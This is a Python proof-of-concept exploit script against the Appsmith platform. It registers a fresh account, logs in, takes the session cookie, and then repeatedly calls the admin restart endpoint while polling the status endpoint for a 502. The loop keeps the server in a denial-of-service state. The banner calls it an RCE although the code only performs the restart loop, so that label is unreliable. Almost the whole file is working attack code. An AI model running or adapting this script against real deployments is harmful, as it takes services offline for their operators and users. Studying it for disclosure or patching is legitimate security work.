import requests
import json
import sys
import time
import pyfiglet

def login(base_url):
    # Signup request
    signup_url = f"{base_url}/api/v1/users"
    signup_data = {
        "email": "poc@poc.com",
        "password": "Testing123!"
    }
    print('Signing up...')
    try:
        signup_response = requests.post(signup_url, data=signup_data)
        signup_response.raise_for_status()  # Raise an error for bad responses
    except requests.exceptions.RequestException as e:
        print(f"Connection error during signup: {e}")
        time.sleep(30)
        return None, None

    # Login request
    login_url = f"{base_url}/api/v1/login"  # Adjust the URL as needed
    login_headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate",
        "Content-Type": "application/x-www-form-urlencoded",
        "Origin": base_url,
        "Connection": "keep-alive",
        "Referer": f"{base_url}/user/login",
        "Cookie": "ajs_user_id=e471142002a6163a3beff6ee71606ea55d631c49e566f403b0614af905ae951d; intercom-device-id-y10e7138=83f9c6a5-3c0b-409e-9d7b-9ca61a129f49; SESSION=1e786474-3b33-407d-be71-47d986031a24; ajs_anonymous_id=8e91142e-ea5a-4725-91b6-439e8bd0abc1; intercom-session-y10e7138=bHI4SnhSRFhmUUVLUXpGZ0V0R0lzUkZsSmxEQkFJKzRaV20wMGtnaGtJWjJoc1AySWV6Rnl2c1AvbUY4eEkxaC0tK1pqNHNKYlZxVzBib1F3NVhXK0poQT09--0daa2198fe17122d3291b90abdb3e78d193ad2ed",
    }

    login_data = {
        "username": "poc@poc.com",  # Adjusted to match the provided request
        "password": "Testing123!"
    }

    # Make the login request without following redirects
    print('Logging in...')
    try:
        login_response = requests.post(login_url, headers=login_headers, data=login_data, allow_redirects=False)
        login_response.raise_for_status()  # Raise an error for bad responses
    except requests.exceptions.RequestException as e:
        print(f"Connection error during login: {e}")
        time.sleep(30)
        return None, None

    # Capture the 'Set-Cookie' header if it exists
    set_cookie = login_response.headers.get('Set-Cookie')
    if set_cookie:
        # Split the Set-Cookie header to get the cookie name and value
        cookie_name, cookie_value = set_cookie.split(';')[0].split('=')
        return cookie_name, cookie_value

    return None, None

def dos(base_url, cookie_name, cookie_value):
    fourth_request_url = f"{base_url}/api/v1/admin/restart"
    fourth_request_headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0",
        "Cookie": f"{cookie_name}={cookie_value}",
        "Referer": f"{base_url}/settings/general",
        "X-Requested-By": "Appsmith"
    }
    try:
        fourth_request_response = requests.post(fourth_request_url, headers=fourth_request_headers)
        fourth_request_response.raise_for_status()  # Raise an error for bad responses
    except requests.exceptions.RequestException:
        print("Connection error during DoS attempt. Sleeping for 30 seconds...")
        time.sleep(30)

def is_dos(base_url, cookie_name, cookie_value):
    request_url = f"{base_url}/api/v1/admin/status"
    request_headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0",
        "Cookie": f"{cookie_name}={cookie_value}",
        "Referer": f"{base_url}/",
        "X-Requested-By": "Appsmith"
    }
    try:
        request_response = requests.get(request_url, headers=request_headers)
        if request_response.status_code == 502:
            dos = True
        else:
            dos = False
    except requests.exceptions.RequestException:
        print("Connection error during status check. Sleeping for 30 seconds...")
        time.sleep(30)
        dos = False
    return dos

def main():
    # Create a banner using pyfiglet
    banner = pyfiglet.figlet_format("Appsmith RCE")  # Replace with your desired title
    print(banner)

    # Ensure the correct number of command-line arguments
    if len(sys.argv) < 2:
        print("Usage: python3 poc.py <base_url>")
        sys.exit(1)

    # Get the base URL and command from the command line arguments
    base_url = sys.argv[1]

    try:
        while True:
            cookie_name, cookie_value = login(base_url)
            if cookie_name is None or cookie_value is None:
                continue  # Retry login if it failed

            is_dos_flag = is_dos(base_url, cookie_name, cookie_value)
            if is_dos_flag:
                time.sleep(20)
            else:
                dos(base_url, cookie_name, cookie_value)
                time.sleep(20)

    except KeyboardInterrupt:
        print("\nExiting...")

if __name__ == "__main__":
    main()